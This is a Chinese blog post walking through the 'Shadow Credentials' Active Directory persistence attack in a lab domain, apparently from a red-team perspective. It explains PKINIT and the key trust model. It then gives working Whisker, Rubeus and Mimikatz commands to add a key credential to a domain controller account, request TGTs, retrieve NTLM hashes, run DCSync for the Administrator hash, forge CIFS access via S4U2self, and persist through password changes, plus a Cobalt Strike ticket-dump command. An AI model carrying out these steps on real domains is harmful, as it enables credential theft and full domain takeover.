前言:
修改目标计算机或用户账户的msDS-KeyCredentiallink属性的域内权限维持技术
这个属性能够设置原始公钥.当试图用pkinit进行预认证时,KDC将检查认证用户是否知道匹配的私钥,匹配的话会发送TGT,实现对目标对象的持久和隐蔽的访
攻击思路
获取高权限用户,通过目标用户添加shadow credential(msDS-keycREDENtialsLINK属性
结合工具获取pfx私钥文件,利用.pfx文件申请目标用户的TGT获取ntlm hash
利用条件
只要让某个账号获得msDS-KeyCredentialLink属性,就能获取账号的TGT和ntlm hash
配置条件
域控版本要在2016以上
安装了ADCS证书服务
攻击原理
1.PKINIT(非对称的预认证方式)
Kerberos认证协议中,TGT通过验证"预认证"的第一步获得.
预认证可以对称方式或非对称方式进行验证
PKINIT是一个Kerberos协议的扩展协议,客户端使用自身私钥对预验证数据进行加密,KDC使用客户端公钥进行解密
当公钥设置成目标的msDs-keyCredentialLink中,生成的pass-the-certificate获取TGT和进一步访问
(就与数字证书进行加解密进行验证)
传统请求TGT的流程
使用对称加密算法
证书信任模型
公钥基础设施(PKI)允许KDC和客户端使用数字证书交换各自的公钥
1.客户端使用client私钥加密client证书和时间戳发送给KDC
2.服务端使用client公钥验证client证书的合法性以及时间戳是否正常
3.服务端返回TGT和会话密钥(session key)
密钥信任模型
支持无密码身份验证,并且PIKNIT身份验证是基于原始密钥数据的
客户端公钥存储在msDs-keycredentialLink中,是密钥凭证.包含创建日期,所有者的可分辨名称,guid和公钥信息等序列化对象
windows企业版中,客户端登录会使用私钥进行pkinit身份验证:
1.密钥信任模型,域控使用客户端的msds-keycredentiallink中的公钥进行解密预身份验证数据
2.证书信任中,域控验证客户端的证书链,使用其中的公钥进行解密
认证成功后会交换会话密钥
实战测试shadow credentials
攻击思路1:域内机器修改影子凭证
已经拿到高权限用户执行shadow credentials攻击实现权限维持
假设拿到mark的权限具有修改msds-keycredentialslink属性的权限
1.whisker工具修改属性
whisker向域控的msds-keycredentialslink添加指定目标的shadow credentials
#向域控添加msds-keycredentials属性添加shadow credentials
whisker.exe add /target:DC2016$ /domain:redteam.lab /dc:DC2016.redteam.lab
#列出域控具有msds-keycredentialslink属性
whisker.exe list /target:DC2016$ /domain:redteam.lab /dc:DC2016.redteam.lab
#删除msds-keycredentialslink
whisker.exe remove /target:DC2016$ /domian:redteam.lab /dc:DC2016.redtrea.lab
2.利用rubeus申请TGT
rubues.exe asktgt /user:DC2016$ /certificate:[value] /password:"xxx" /domain:redteam.lab /dc:DC2016.redteam.lab /getcredentials /show /nowrap /ptt
票据利用:dcsync攻击
利用mimikatz执行DCSYNC攻击得到administrator的hash值
#执行dcsync攻击获取hash mimikatz.exe "lsadump::dcsync /domain:redteam.lab /user:redteam\Administrator" "exit"
这里存入的是TGT而不是服务票据,不具有访问权限,dir不能生成,可以申请cifs票据进行访问
票据利用:cifs票据远程访问
rubeus,申请cifs服务票据,访问目标服务
#使用rubues借助S4U2self获取域控上的其他服务票据ST rubues.exe s4u /self /impersonateuser:REDTEAM\Administrator /altservice:CIFS/DC2016.redteam.lab /ptt /ticket:[value] /nowrap
#获取共享
dir \\DC2016.redteam.lab\c$
4.1权限维持:根据证书申请TGT
当mark密码被修改时,我们将不在拥有mark的控制权,但是msDS-KeyCredentialLink
属性已经被修改,可以通过以下方式恢复权限
由于证书certificate已经获取到(怎么获取到的?),和第2步一致,在任意一台主机中执行命令申请到域控的TGT
rubeus.exe asktgt /user:DC2016$ /certificate:[value] /password:"1fxDXbHQvbZpHm0S" /domain:redteam.lab /dc:DC2016.redteam.lab /getcredentials /show /ptt /nowrap
4.2权限维持:转存为kirbi文件保存使用
cs beacon
powerpick [IO.File]::WriteAllBytes("C:\Users\Public\Documents\ticket.kirbi",[Convert]::FromBase64String("doIFyjCCBcagAwIBBaEDAgEWooIE4zCCBN9hggTbMIIE16ADAgEFoQ0bC1JFRFRFQU0uTEFCoiAwHqADAgECoRcwFRsGa3JidGd0GwtyZWR0ZWFtLmxhYqOCBJ0wggSZoAMCARKhAwIBAqKCBIsEggSHocZIIXUk/6ACZTuoItkyxJUONjPNdRQJQstpJ91GarFnkdIdDtPSTDanprknzPBoksBYVKHo7maejQ2CjSroQKGbgP0Qdb7dw6bvaAlv6t+49bcPz+mRZ3G9a+3Kxm9Q+WN4LYV64uqUhSybqYr2ulf+g+PCrS0sEa+ukRkw8PCFR+fRGbH5vGX/mLPkRfTTX+gsLPwjyHQzV2bnDC/2TNJGN6YdJhua2bE1RG+7id1a5QbV8mIwffZyKf8bGtMhHF3obd05JCMoFIkYVnIhTsUJg1W/c4/J9qiUeFpmtonOUEgNOONTxautRseImuNNifMwZeCgAoLwHHnnnlhmzA0z+t2BnSsOvIAodB24D2uZ6qByWtAsGFRi+EPOpZiTEAyDK+OVHp271WOnWQY4AjO6JoBGxQeUtvdjbGCXenl6yaujIn9R4qvVDs1pYD8DGnCsS3B/qLDe6QTAGPJwQV+Ja74oePLeKHDrsrdlCS6wtdWHQCsY/ecw0B0Z56BxJA2ZvauwwMQHjz0BLUs3oTOmkNvBK0t1iWQincTR2v4j2Dn9YhXj/9ufjKH8MiCR+oMPau6At3lXpM27ROr1vIo2qGUM5HLJNFU3GHaFat/HH+8k55tdDKMdbEhrbMa1fk6NakJWx1A68WhtsaOxJIbDXbZKy6f4AO5QcWKt0BwDK9dVcl903E3Ui0Gd8G0uR6VSp2Iobfd37SIiuAiwS5YTjCkARVZBR+D3a8RGOz3vUr3Yjzg84w2B76oGK4FaLAy6YZjMth/nCBNR/2KBGZ79mLKK+Gxl6o1DZRMPlh3+qeaHE1jgte1koZToEOnvPJA5YPCEnwL6+r5ICMXiGL2T23utv694PAdU1lqHbZwPC9EXQEfvaT0X+5QHeju3OrL0WnmeU3Qpt7auBM2Ao9UhFCD6/1PTNK5XIQ1y9fDCfLsq9CvtVrQAMH7jLeBvlUBbRrETghzR8MzF0NovHW5EUfD6/FMvlC3pEMdKyNPNSxRUWTw4/gnWQovXjLw39VDb+pl2tz5u5mOPQKEVgjalOtmc7thDR9t3iHD5QtTcZUaE4oBxxCFUCbVvYCKpAICaVoQo4i13LCzmESfzv2iVmD4rhiB1YJomjuX8WlfZdaWuOSkNmVMIYzgXNDl1zw+d4TE+j8FILWdPONCT28+x62eWjpDPHV7muPOTbuSMeCBaa4S+KHk1/87ZF37SA0vLR9qWH9pxCluoG4x/huV4rZ6e/JmLfpM3X1Acb/+zOUas89cmPBrab4NgSQ/xld7P3cd+EiGuvj0lkX1vM55H4xSbHoKynlqVPrTM87Jvb9H6b0OCKtDNl7mHvbSHkvfjIzZUnC/zgKzRSDn7/YHtOW5/e4RdfzK8L3djVmUOctrMPBKj+rSeD7S+F4Ww85PvzdhQIZmXhVirtblJOUGggNPvGmsRkv9S5iWOAyd0JgnU9erKB50q7MoORxSJmEcp2WBFIxNBMujpJITZZfNxLQJ6E/sF6uzOcRa8tsH4lijCvJxbWrcYOiS6m9mvEeSvg8wti6OB0jCBz6ADAgEAooHHBIHEfYHBMIG+oIG7MIG4MIG1oBswGaADAgEXoRIEEIcyiVeGxVUDwvB2UuisxJyhDRsLUkVEVEVBTS5MQUKiFDASoAMCAQGhCzAJGwdEQzIwMTYkowcDBQBA4QAApREYDzIwMjIwNTIxMTUxNTI4WqYRGA8yMDIyMDUyMjAxMTUyOFqnERgPMjAyMjA1MjgxNTE1MjhaqA0bC1JFRFRFQU0uTEFCqSAwHqADAgECoRcwFRsGa3JidGd0GwtyZWR0ZWFtLmxhYg=="))
参考文章:
https://forum.butian.net/index.php/share/1607
两个概念介绍
s4u2self s4u2proxy
标签:公钥,redteam,TGT,lab,DC2016,credentials,shadow,客户端 From: https://www.cnblogs.com/lisenMiller/p/17701087.html